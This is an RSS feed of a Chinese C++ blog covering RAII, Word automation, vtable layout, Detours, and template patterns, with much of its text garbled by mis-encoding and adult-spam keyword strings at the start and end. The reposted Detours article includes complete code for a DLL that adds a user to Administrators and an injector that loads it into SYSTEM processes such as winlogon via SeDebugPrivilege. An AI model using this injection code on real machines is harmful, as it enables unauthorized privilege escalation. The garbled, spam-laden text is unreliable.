??xml version="1.0" encoding="utf-8" standalone="yes"?>久久久久AV综合网成人,久久99热只有频精品8,亚洲午夜久久久久久噜噜噜 http://m.shnenglu.com/codeart/codeArt zh-cn Mon, 30 Jun 2025 07:27:56 GMT Mon, 30 Jun 2025 07:27:56 GMT 60 RAII是什么?来源于金庆的专栏 http://m.shnenglu.com/codeart/archive/2010/11/06/132675.htmlcodeArt codeArt Sat, 06 Nov 2010 09:30:00 GMT http://m.shnenglu.com/codeart/archive/2010/11/06/132675.html http://m.shnenglu.com/codeart/comments/132675.html http://m.shnenglu.com/codeart/archive/2010/11/06/132675.html#Feedback 0 http://m.shnenglu.com/codeart/comments/commentRss/132675.html http://m.shnenglu.com/codeart/services/trackbacks/132675.html 摘自《Extended STL》中?/p>
RAIIQ资源获取即初始?/h1> 资源获取卛_始化QRAII, Resource Acquisition Is InitializationQ是指,当你获得一个资源的时候,不管q个资源是对象、内存、文件句柄或者其它什么,你都会在一个对象的构造函C获得它,q且在该对象的析构函C释放它。实现这U功能的c,我们p它采用了"资源获取卛_始化QRAIIQ?的方式。这Lcd常被UCؓ装cR?/p>
可以依据资源可变性和资源来源q两个特征,来对RAIIq行分类?/p>
资源可变?/h2> 如果一个封装类对其实例提供额外的功能,使得其实例能被赋予新资源Q这个类表现出的q种特征即称?可变的RAII"Q否则就?不可变的RAII"?/p>
不可变的RAIIQ是使用h最单的一U。说它简单,是因为在q种情况下,无需在封装类中提供用于指定资源的Ҏ--不管是新分配的资源,q是对其他资源进行拷贝。这URAIIq意味着Q类的析构函数L可以假定Q被装的资源是有效的?/p>
与此相反Q提供可变的RAII的类Q就需要实C列功能中的绝大部分,或者全部:~省的或者空的构造函敎ͼ拯构造函敎ͼ拯赋值操作,用于指定资源的方法。最重要的是Q这Lcd析构函数和Q何类似close()的方法中Q释放资源前Q都必须被装的资源是不是null?/p>
资源来源 对于提供RAII的类来说Q第二个重要的特征是Q它们通过什么途径获取自己所理的资源。以std::stringZ表的c,使用的是内部初始化的RAIIQ它理的资?-卛_存中用于保存字符的缓冲区--是由它自己创建的Q这一资源对外永远是不可见的。与此不同的是,以std::auto_ptrZ表的c表现出外部初始化的RAII行ؓQ它所理的资源,是用它的客L序(通过另外的某U方式获得之后)交给它的?/p>
内部初始化的RAII的封装类Q一般比较容易实玎ͼ但是功能上也比较受限Ӟ因ؓ它们获取资源的机制是预先定义好的Qƈ且是固定不变的。不q,q样的类用v来也Ҏ一些,或者说Q比较难被误用:因ؓ客户代码几乎没有Z犯下能导致资源泄露的错误?/p>
]]> ~程法则(转自oschina.net)有意?/title> http://m.shnenglu.com/codeart/archive/2010/09/30/128159.htmlcodeArt codeArt Thu, 30 Sep 2010 15:42:00 GMT http://m.shnenglu.com/codeart/archive/2010/09/30/128159.html http://m.shnenglu.com/codeart/comments/128159.html http://m.shnenglu.com/codeart/archive/2010/09/30/128159.html#Feedback 0 http://m.shnenglu.com/codeart/comments/commentRss/128159.html http://m.shnenglu.com/codeart/services/trackbacks/128159.html
ME序一旦部|即N旧?
修改需求规范来适应E序比反q来做更Ҏ?
一个程序如果很有用Q那它注定要被改掉?
一个程序如果没用,那它一定会有很好的文?
ME序里都仅仅只有10%的代码会被执行到?
软g会一直膨胀到耗尽所有资源ؓ止?
M一个有点h值的E序里都会有臛_一个bug?
原型完美的程度跟审视的h数成反比Q反比g随着涉及的资金数增大?
软g直到被变成品运行至?个月后,它最严重的问题才会被发现?
无法到的错误的形式无限多样Q而能被检到的正好相反,被定义了的十分有限?
修复一个错误所需要投入的努力会随着旉成指数增加?
软g的复杂度会一直增加,直到出l护q个E序的h的承受能力?
M自己的程序,几个月不看,形同其他人写的?
M一个小E序里面都有一个巨大的E序蠢蠢Ʋ出?
~码开始的早Q花费的旉长?
一个粗心的目计划会让你多?倍的旉d成;一个细心的目计划只会让你多花2倍的旉?
往大型目里添加h手会佉K目更延迟?
一个程序至会完成90%Q但永远完成不了过95%?
如果你想ȝ被自动处理掉Q你得到的是自动产生的麻烦?
开发一个傻瓜都会用的软gQ只有傻瓜愿意用它?
用户不会真正的知道要在Y仉做些什么,除非使用q?
]]> c++操作word接口 http://m.shnenglu.com/codeart/archive/2010/08/31/125430.htmlcodeArt codeArt Tue, 31 Aug 2010 11:35:00 GMT http://m.shnenglu.com/codeart/archive/2010/08/31/125430.html http://m.shnenglu.com/codeart/comments/125430.html http://m.shnenglu.com/codeart/archive/2010/08/31/125430.html#Feedback 4 http://m.shnenglu.com/codeart/comments/commentRss/125430.html http://m.shnenglu.com/codeart/services/trackbacks/125430.html ?】开启word
_ApplicationPtr word_app; HRESULT hr = word_app.CreateInstance( " Word.Application " , NULL);
?】新Z个文?br>
COleVariant vTrue(( short )TRUE),vFalse(( short )FALSE),vOpt(( long )DISP_E_PARAMNOTFOUND, VT_ERROR); DocumentsPtr docs; _DocumentPtr oDoc; docs = word_app -> GetDocuments(); doc = docs -> Add(vOpt, vOpt, vOpt, vOpt);
?】设|文档的面布局
PageSetupPtr page_setup = doc -> GetPageSetup(); page_setup -> PutTopMargin( 0 ); page_setup -> PutBottomMargin( 0 ); page_setup -> PutRightMargin( 0 ); page_setup -> PutLeftMargin( 0 );
?】插入文?br>
SelectionPtr selection; selection = word_app -> GetSelection(); _ParagraphFormatPtr parafmt = selection -> GetParagraphFormat(); parafmt -> PutLineSpacingRule(wdLineSpaceExactly); parafmt -> PutLineSpacing( 50 ); _FontPtr font; font = oSel -> GetFont(); font -> PutBold( 1 ); font -> PutColor(wdColorGreen); font -> PutSize( 20 ); font -> PutName(_T( " 宋体 " )); selection -> TypeText( " ABC " ); oSel -> TypeParagraph(); oSel -> TypeText( " 12345678901234567890 " ); oSel -> TypeParagraph();
?】插入文本框
ShapesPtr shapes = doc -> GetShapes(); ShapePtr textbox = shapspp -> AddTextbox(Office::msoTextOrientationHorizontal, 1 , 1 , 100 , 100 );
?】文本框中插入文?br>
1 ShapesPtr shapes = doc -> GetShapes(); 2 ShapePtr textbox = shapspp -> AddTextbox(Office::msoTextOrientationHorizontal, 1 , 1 , 100 , 100 ); 3 TextFramePtr textframe = textbox -> GetTextFrame(); 4 RangePtr range = textframe -> GetTextRange(); 5 long insert_before_count = range -> Characters -> GetCount(); 6 range-> InsertAfter( " TEXT " ); 7 if (insert_before_count != 1 ) 8 range-> MoveStart(COleVariant(( long )Word::wdCharacter), COleVariant(insert_before_count - 1 )); 9 if (range != 0 ) 10 { 11 _FontPtr font = range -> GetFont(); 12 font-> PutBold(isBold); 13 font-> PutItalic(isItalic); 14 font-> PutColor((Word::WdColor)FontColor()); 15 font-> PutSize(FontSize); 16 font-> PutName(FontType().c_str()); 17 }
?】设|文本框的属?br>
1 textbox -> GetTextFrame() -> PutAutoSize(Office::msoAutoShape); 2 textbox-> GetTextFrame() -> PutMarginBottom( 0 ); 3 textbox-> GetTextFrame() -> PutMarginTop( 0 ); 4 textbox-> GetTextFrame() -> PutMarginLeft( 0 ); 5 textbox-> GetTextFrame() -> PutMarginRight( 0 ); 6 textbox-> GetLine() -> PutVisible(Office::msoFalse); 7 textbox-> GetFill() -> PutTransparency( 1 );
?】插入图片,q里需要注意,必须得先用InlineShape,q样可以把图片插入到指定的页中,不然Q所有的囄只在W一c?br>
1 ShapesPtr shapes = m_WordDoc -> GetShapes(); 2 InlineShapesPtr inline_shapes = selection_doc -> GetRange() -> GetInlineShapes(); 3 InlineShapePtr inline_shape = inline_shapes -> AddPicture(“picture_path”, COleVariant(( long ) 0 ), COleVariant(( long ) 1 )); 4 ShapePtr shape = inline_shape -> ConvertToShape(); 5 shape-> PutWidth(width); 6 shape-> PutHeight(hehight()); 7 shape-> PutTop(Y); 8 shape-> PutLeft(X); 9 if (shape -> GetType() == Office::msoPicture) 10 { 11 Word::WrapFormatPtr wrapp = shape -> GetWrapFormat(); 12 wrapp-> PutType(Word::wdWrapBehind); 13 }14
?】插入直U?br>
1 ShapesPtr shapes = doc -> GetShapes(); 2 Word::ShapePtr line = shapes -> AddLine(x1,y1, x2,y2); 3 if (line -> GetType() == Office::msoLine) 4 { 5 Word::LineFormatPtr LineFmt = line -> GetLine(); 6 LineFmt-> PutWeight(lr -> weight_); 7 }
?0】插入分隔符
selection -> InsertBreak(COleVariant(( long )wdColumnBreak)); selection -> InsertBreak(COleVariant(( long )wdSectionBreakContinuous)); selection -> InsertBreak(COleVariant(( long )wdPageBreak));
?1】设|栏目个数和栏目的宽?br>q里一定要注意add函数的逻辑
1 SectionsPtr word_sections = doc -> GetSections(); 2 long num = word_sections -> GetCount(); 3 SectionPtr word_section = word_sections -> Item(num - 1 ); 4 PageSetupPtr page_setup = word_section -> GetPageSetup(); 5 TextColumnsPtr text_cols = page_setup > GetTextColumns(); 6 text_cols-> PutEvenlySpaced( 0 ); 7 text_cols-> Add(COleVariant(col_width), COleVariant(( long ) 0 ), COleVariant(( long ) false ));
?2】插入表?br>
1 TablesPtr tables = oSel -> GetTables(); 2 TablePtr table = tables -> Add(oSel -> GetRange(), 2 , 5 ); 3 4 BordersPtr bords = table -> GetBorders(); 5 bords-> PutOutsideLineStyle(wdLineStyleSingle); 6 bords-> PutInsideLineStyle(wdLineStyleSingle); 7 for ( int i = 1 ; i <= 2 ; i ++ ) 8 { 9 for ( int j = 1 ; j <= 5 ; j ++ ) 10 { 11 table-> Cell(i,j) -> GetRange() -> PutText( " 20 " ); 12 }13 }14 15 CellPtr cell = table -> Cell( 1 , 1 ); 16 cell-> Merge(table -> Cell( 1 , 2 ));
?3】保存文ƈ退?br>
1 COleVariant vTrue(( short )TRUE),vFalse(( short )FALSE),vOpt(( long )DISP_E_PARAMNOTFOUND, VT_ERROR); 2 _DocumentPtr active_doc; 3 active_doc = word_app -> GetActiveDocument(); 4 active_doc-> SaveAs(COleVariant( " D:\\doc1.doc " ), 5 COleVariant((short ) 0 ), 6 vFalse, COleVariant("" ), vTrue, COleVariant( "" ), 7 vFalse, vFalse, vFalse, vFalse, vFalse);8 word_app-> Quit(vOpt, vOpt, vOpt);
在word优秀的构架中q有许许多多的接口,上面只是举例实现一个普通的文Q希望对大家有用?
]]> C++的?/title> http://m.shnenglu.com/codeart/archive/2010/08/31/125326.htmlcodeArt codeArt Mon, 30 Aug 2010 17:32:00 GMT http://m.shnenglu.com/codeart/archive/2010/08/31/125326.html http://m.shnenglu.com/codeart/comments/125326.html http://m.shnenglu.com/codeart/archive/2010/08/31/125326.html#Feedback 0 http://m.shnenglu.com/codeart/comments/commentRss/125326.html http://m.shnenglu.com/codeart/services/trackbacks/125326.html
1 class base 2 { 3 public : 4 base () {} ; 5 ~ base () {} ; 6 7 virtual void func1() {printf( " base::func1\r\n " );} ; 8 virtual void func2() {printf( " base::func2\r\n " );} ; 9 int ma; 10 int mb; 11 void member_func() {printf( " base::member_func\r\n " );} 12 }; 13 14 class derive : public base 15 { 16 public : 17 derive(){} ; 18 ~ derive() {} ; 19 20 virtual void func1() {printf( " derive::func1\r\n " );} ; 21 virtual void func3() {printf( " derive::func3\r\n " );} ; 22 virtual void func4() {printf( " derive::func4\r\n " );} ; 23 24 int ma2; 25 int mb2; 26 27 void member_func2() {printf( " derive::member_func2\r\n " );} 28 }; 29 30 class derive2 : public derive 31 { 32 public : 33 derive2(){} ; 34 ~ derive2() {} ; 35 36 virtual void func3() {printf( " derive2::func3\r\n " );} ; 37 virtual void func4() {printf( " derive2::func4\r\n " );} ; 38 virtual void func5() {printf( " derive2::func5\r\n " );} ; 39 40 int ma3; 41 int mb3; 42 43 void member_func3() {printf( " derive2::member_func3\r\n " );} 44 }; 45 int _tmain( int argc, _TCHAR * argv[]) 46 { 47 typedef void ( * Fun)( void ); 48 49 Fun pfun = 0 ; 50 derive2* d2 = new derive2; 51 int * p = ( int * )d2; 52 * (p + 1 ) = 20 ; 53 * (p + 2 ) = 30 ; 54 * (p + 3 ) = 200 ; 55 * (p + 4 ) = 300 ; 56 * (p + 5 ) = 2000 ; 57 * (p + 6 ) = 30000 ; 58 59 for ( int i = 0 ; i < 5 ; i ++ ) 60 { 61 Fun pfun = (Fun) * (( int * ) * (p + 0 ) + i); 62 if (pfun) 63 pfun();64 else 65 printf(" null\r\n " ); 66 }67 68 base * b2 = new derive; 69 int * p2 = ( int * )b2; 70 pfun = (Fun) * (( int * ) * (p2 + 0 ) + 3 ); 71 pfun();72 73 return 0 ; 74 }75
]]>关于Detours[转] http://m.shnenglu.com/codeart/archive/2010/08/29/125226.htmlcodeArt codeArt Sun, 29 Aug 2010 15:08:00 GMT http://m.shnenglu.com/codeart/archive/2010/08/29/125226.html http://m.shnenglu.com/codeart/comments/125226.html http://m.shnenglu.com/codeart/archive/2010/08/29/125226.html#Feedback 0 http://m.shnenglu.com/codeart/comments/commentRss/125226.html http://m.shnenglu.com/codeart/services/trackbacks/125226.html Detours是微软开发的一个函数库Q源代码可在http://research.microsoft.com/sn/detours 免费获得Q? 用于修改q行中的E序在内存中的媄像,从而即使没有源代码也能改变E序的行为。具体用途是Q?br style="LINE-HEIGHT: normal"> 拦截WIN32 API调用Q将其引导到自己的子E序Q从而实现WIN32 API的定制?br style="LINE-HEIGHT: normal">Z个已在运行的q程创徏一新线E,装入自己的代码ƈq行?br style="LINE-HEIGHT: normal">本文简介Detours的原理,Detours库函数的用法Q?q利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试E序”的用h限的用户成ؓpȝ理员,附录利用Detours库函C改该E序使普通用户即可成为系l管理员Q在NT4 SP3上)?br style="LINE-HEIGHT: normal"> 一Q?Detours的原?br style="LINE-HEIGHT: normal"> 1Q?WIN32q程的内存管?br style="LINE-HEIGHT: normal"> L周知QWINDOWS NT实现了虚拟存储器Q每一WIN32q程拥有4GB的虚存空_ 关于WIN32q程的虚存结构及其操作的具体l节请参阅WIN32 API手册Q?以下仅指ZDetours相关的几点: (1) q程要执行的指o也放在虚存空间中 (2) 可以使用QueryProtectEx函数把存放指令的面的权限更改ؓ可读可写可执行,再改写其内容Q从而修Ҏ在运行的E序 (3) 可以使用VirtualAllocEx从一个进Eؓ另一正运行的q程分配虚存Q再使用 QueryProtectEx函数把页面的权限更改为可d写可执行Qƈ把要执行的指令以二进制机器码的Ş式写入,从而ؓ一个正在运行的q程注入L的代?br style="LINE-HEIGHT: normal"> 2Q?拦截WIN32 API的原?br style="LINE-HEIGHT: normal"> Detours定义了三个概念: (1) Target函数Q要拦截的函敎ͼ通常为Windows的API?br style="LINE-HEIGHT: normal">(2) Trampoline函数QTarget函数的复制品。因为Detours会改写Target函数Q所以先把Target函数复制保存好,一斚w仍然保存Target函数的过E调用语义,另一斚w便于以后的恢复?br style="LINE-HEIGHT: normal">(3) Detour 函数Q用来替代Target函数的函数?br style="LINE-HEIGHT: normal"> Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指oQ共5个字节)把对Target函数的调用引导到自己的Detour函数Q?把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作ؓTrampoline函数。例子如下: 拦截前:Target _ FunctionQ?br style="LINE-HEIGHT: normal">QTarget函数入口Q以下ؓ假想的常见的子程序入口代?br style="LINE-HEIGHT: normal">push ebp mov ebp, esp push eax push ebx Trampoline: Q以下是Target函数的l部?br style="LINE-HEIGHT: normal">…… 拦截后: Target _ FunctionQ?br style="LINE-HEIGHT: normal">jmp Detour_Function Trampoline: Q以下是Target函数的l部?br style="LINE-HEIGHT: normal">…… Trampoline_Function: ; Trampoline函数入口, 开头的5个字节与Target函数相同 push ebp mov ebp, esp push eax push ebx Q蟩回去l箋执行Target函数 jmp Target_Function+5 3Q?Z个已在运行的q程装入一个DLL 以下是其步骤Q?br style="LINE-HEIGHT: normal"> (1) 创徏一个ThreadFuctionQ内容仅是调用LoadLibrary?br style="LINE-HEIGHT: normal">(2) 用VirtualAllocExZ个已在运行的q程分配一片虚存,q把权限更改为可d写可执行?br style="LINE-HEIGHT: normal">(3) 把ThreadFuction的二q制机器码写入这片虚存?br style="LINE-HEIGHT: normal">(4) 用CreateRemoteThread在该q程上创Z个线E,传入前面分配的虚存的起始地址作ؓU程函数的地址Q即可ؓ一个已在运行的q程装入一个DLL。通过DllMain 卛_在一个已在运行的q程中运行自q代码?br style="LINE-HEIGHT: normal"> 二. Detours库函数的用法 因ؓDetours软g包ƈ没有附带帮助文gQ以下接口仅从剖析源代码得出?br style="LINE-HEIGHT: normal"> 1Q?PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction) 功能Q从一DLL中找Z函数的入口地址 参数QpszModule是DLL名,pszFunction是函数名?br style="LINE-HEIGHT: normal">q回Q名为pszModule的DLL的名为pszFunction的函数的入口地址 说明QDetourFindFunction除用GetProcAddress外,q直接分析DLL的文件头Q因此可以找C些GetProcAddress找不到的函数入口?br style="LINE-HEIGHT: normal"> 2Q?DETOUR_TRAMPOLINE(trampoline_prototype, target_name) 功能Q该宏把名ؓtarget_name 的Target函数生成Trampoline函数Q以后调?trampoline_prototype在语义上{于调用Target函数?br style="LINE-HEIGHT: normal"> 3Q?BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour) 功能Q用Detour 函数拦截Target函数 参数QpbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototypeQpbDetour?Detour 函数的入口地址?br style="LINE-HEIGHT: normal"> 4Q?BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour) 功能Q恢复Target函数 参数QpbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototypeQpbDetour?Detour 函数的入口地址?br style="LINE-HEIGHT: normal"> 5Q?BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName) 功能Qؓ一个已在运行的q程装入一个DLL 参数QhProcess是进E的句柄QlpDllName是要装入的DLL?br style="LINE-HEIGHT: normal"> 三. E序实例 以一个能使有“调试E序”的用h限的用户成ؓpȝ理员的E序做例子说明Detours 库函数的用法。程序的设计思\是找一个以System帐号q行的进E,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe{,使用ContinueProcessWithDll在其中注入把当前用户加入?Administrators本地l的DLLQ因DLL在这些进E的安全上下文环境运行,所以有相应的权限?br style="LINE-HEIGHT: normal"> 先编写相应的DLLQ?br style="LINE-HEIGHT: normal"> /*admin.dll, 当进E装入时会把名ؓszAccountName 的用户加入到Administrators本地l?/ #include #include #include #include /*以下创徏一׃nD实现进E间的数据通讯Q?br style="LINE-HEIGHT: normal">szAccountName 是用户名QbPrepared说明 szAccountName是否已初始化?/ #pragma data_seg(".MYSHARE") BOOL bPrepared=FALSE; wchar_t szAccountName[100]={0}; #pragma data_seg() #pragma comment(linker, "/SECTION:.MYSHARE,RWS") /*E序调用SetAccountName讄要加入到Administrators 本地l的用户名,q知DllMain 已初始化szAccountName Q?br style="LINE-HEIGHT: normal">以后被装入时可调用ElevatePriv */ __declspec(dllexport) VOID WINAPI SetAccountName(wchar_t *Name) { wcscpy(szAccountName,Name); bPrepared=TRUE; } /*把名为szAccountName的用户加?br style="LINE-HEIGHT: normal">到Administrators本地l?/ __declspec(dllexport) VOID WINAPI ElevatePriv() { LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname=szAccountName; NetLocalGroupAddMembers(NULL,L"Administrators", 3,(LPBYTE)&account,1); } __declspec(dllexport) ULONG WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, PVOID lpReserved) { switch (dwReason) { case DLL_THREAD_ATTACH: if (bPrepared) ElevatePriv(); } return TRUE; } E序如下Q?br style="LINE-HEIGHT: normal"> /*AddMeToAdministrators.exe 把当前用户加入到 Administrators本地l。用方法ؓQ(1Q?br style="LINE-HEIGHT: normal">q行d理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进EID Q?Q执行AddMeToAdministrators.exe procid, 其中procid为(1Q记下的q程ID Q?Q签退再签刎ͼq行用户理器,卛_发现自己已在Administrators本地l中?/ #include #include #include #include #include extern VOID WINAPI SetAccountName(wchar_t *Name); /* GetCurrentUser得到自己的用户名U?/ void GetCurrentUser(wchar_t *szName) { HANDLE hProcess, hAccessToken; wchar_t InfoBuffer[1000],szAccountName[200], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu; hProcess = GetCurrentProcess(); OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken); GetTokenInformation(hAccessToken,TokenUser, InfoBuffer, 1000, &dwInfoBufferSize); LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); wcscpy(szName,szDomainName); wcscat(szName,L"\"); wcscat(szName,szAccountName); } /* EnablePrivilege启用自己?#8220;调试E序”的用h?/ BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable) { HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); return((GetLastError() == ERROR_SUCCESS)); } int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR lpszCmdLine, int nCmdShow) { INT argc; WCHAR **argv; argv = CommandLineToArgvW(GetCommandLineW(), &argc); INT nProcessId = -1; if (argc!=2){ wprintf(L"usage %s pid", argv[0]); return 1; } nProcessId = _wtoi(argv[1]); printf("%d ",nProcessId); /*要成功执行ContinueProcessWithDllQ要对winlogon.exe{进E的q程句柄有读写存储器内容和创建线E的权限QEnablePrivilege使本q程有这L权利?/ if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){ printf("AdjustTokenPrivilege Fail %u ", (UINT)GetLastError()); return 1; } HANDLE gNewHandle = OpenProcess(PROCESS_ALL_ACCESS , TRUE, nProcessId); if (!gNewHandle){ printf("OpenProcess Fail %u ", (UINT)GetLastError()); return 1; } wchar_t szName[100]; GetCurrentUser(szName); SetAccountName(szName); If (!ContinueProcessWithDll(gNewHandle, L"c:\temp\admin.dll")) { printf("ContinueProcessWithDll failed %u", (UINT)GetLastError()); return 3; } return 0; } 因ؓ“调试E序”的用h限缺省情况下仅赋予给理员,因此q不会造成安全漏洞。但该程序揭C出“调试E序”的用h限其实是至高无上的用h限,只能授予l可信用戗?br style="LINE-HEIGHT: normal"> 四. l论 Detours是一强大的工P提供了简单易用的函数接口来拦截WIN32 API调用和ؓ一个已在运行的q程装入一个DLL?/span>
]]>QT中的插g http://m.shnenglu.com/codeart/archive/2010/08/28/125058.htmlcodeArt codeArt Sat, 28 Aug 2010 11:56:00 GMT http://m.shnenglu.com/codeart/archive/2010/08/28/125058.html http://m.shnenglu.com/codeart/comments/125058.html http://m.shnenglu.com/codeart/archive/2010/08/28/125058.html#Feedback 0 http://m.shnenglu.com/codeart/comments/commentRss/125058.html http://m.shnenglu.com/codeart/services/trackbacks/125058.html 阅读全文 ]]> 努力,从现在开?/title> http://m.shnenglu.com/codeart/archive/2010/08/28/125056.htmlcodeArt codeArt Sat, 28 Aug 2010 08:15:00 GMT http://m.shnenglu.com/codeart/archive/2010/08/28/125056.html http://m.shnenglu.com/codeart/comments/125056.html http://m.shnenglu.com/codeart/archive/2010/08/28/125056.html#Feedback 0 http://m.shnenglu.com/codeart/comments/commentRss/125056.html http://m.shnenglu.com/codeart/services/trackbacks/125056.html ]]> 用在COM中,c行为比较怪异的代?/title> http://m.shnenglu.com/codeart/archive/2010/08/27/124972.htmlcodeArt codeArt Fri, 27 Aug 2010 13:02:00 GMT http://m.shnenglu.com/codeart/archive/2010/08/27/124972.html http://m.shnenglu.com/codeart/comments/124972.html http://m.shnenglu.com/codeart/archive/2010/08/27/124972.html#Feedback 0 http://m.shnenglu.com/codeart/comments/commentRss/124972.html http://m.shnenglu.com/codeart/services/trackbacks/124972.html #include <iostream> using namespace std; template <typename T> class Base { public: void fun() { cout << "Base::fun" << endl; } void doSomething() { T* pT = static_cast<T*>(this); pT->fun(); } }; class Drive : public Base<Drive> { public: void fun() { cout << "Drive::fun" << endl; } }; class MostDrive : public Drive { public: void fun() { cout << "MostDrive::fun" << endl; } }; int main() { MostDrive obj; obj.doSomething(); return 0; }
]]> c++重蝲-> http://m.shnenglu.com/codeart/archive/2010/08/27/124971.htmlcodeArt codeArt Fri, 27 Aug 2010 12:46:00 GMT http://m.shnenglu.com/codeart/archive/2010/08/27/124971.html http://m.shnenglu.com/codeart/comments/124971.html http://m.shnenglu.com/codeart/archive/2010/08/27/124971.html#Feedback 0 http://m.shnenglu.com/codeart/comments/commentRss/124971.html http://m.shnenglu.com/codeart/services/trackbacks/124971.html #include <iostream> using namespace std; class Inner { public: void Fun() { cout << "Inner::Fun" << endl; } }; class Outer { private: Inner* m_pInner; public: Outer(Inner* p_pInner) : m_pInner(p_pInner) { } Inner* operator -> () { return m_pInner; } }; int main() { Inner objInner; Outer objOuter(&objInner); objOuter->Fun(); return 0; }
]]> {略模式c++表述备忘 http://m.shnenglu.com/codeart/archive/2010/08/27/124970.htmlcodeArt codeArt Fri, 27 Aug 2010 12:43:00 GMT http://m.shnenglu.com/codeart/archive/2010/08/27/124970.html http://m.shnenglu.com/codeart/comments/124970.html http://m.shnenglu.com/codeart/archive/2010/08/27/124970.html#Feedback 0 http://m.shnenglu.com/codeart/comments/commentRss/124970.html http://m.shnenglu.com/codeart/services/trackbacks/124970.html #include <iostream> using namespace std; class Round1 { public: void Play() { cout << "Round1::Play" << endl; } }; class Round2 { public: void Play() { cout << "Round2::Play" << endl; } }; template <typename T> class Strategy { private: T objT; public: void Play() { objT.Play(); } }; int main() { Strategy<Round1> obj1; Strategy<Round2> obj2; obj1.Play(); obj2.Play(); return 0; }
]]>
91þۺ |
˾Ʒþ岻 |
˳wwwþþ |
ھƷþþþӰԺ |
鶹Ʒþһ |
˶ݺɫۺϾþ |
Ʒ˾þþ |
ƷþþþþþþĻ |
˾þۺ |
þþþavרˮ |
þĻר |
þþþþƷ |
㽶þ99 |
Ʒþþþþø |
þĻ |
99þþžžƷ |
99þù뾫Ʒ |
þƵᆱƷ99㽶 |
þüƷ?V |
þۺۺϾþúݺݺ97ɫ88 |
ŷ츾XXXXԾþþ |
ɫۺϺϾþۿ |
پþþƷþ |
þ99ȾƷ |
Ůþþùһ |
ij뾫Ʒþþò |
þùһ |
þŷձƷ |
Ůþþ |
þþþĻ |
þþþƷѹĻ |
99þó˹Ʒ |
þþһƷ99þþƷ66
|
þþþþƷӰԺ |
Ʒgzþþ |
þù |
Ʒþ» |
þþþþŮ |
þþһƷ99þþƷ88 |
ձþþþþþþþ |
þþþþƷӰԺ |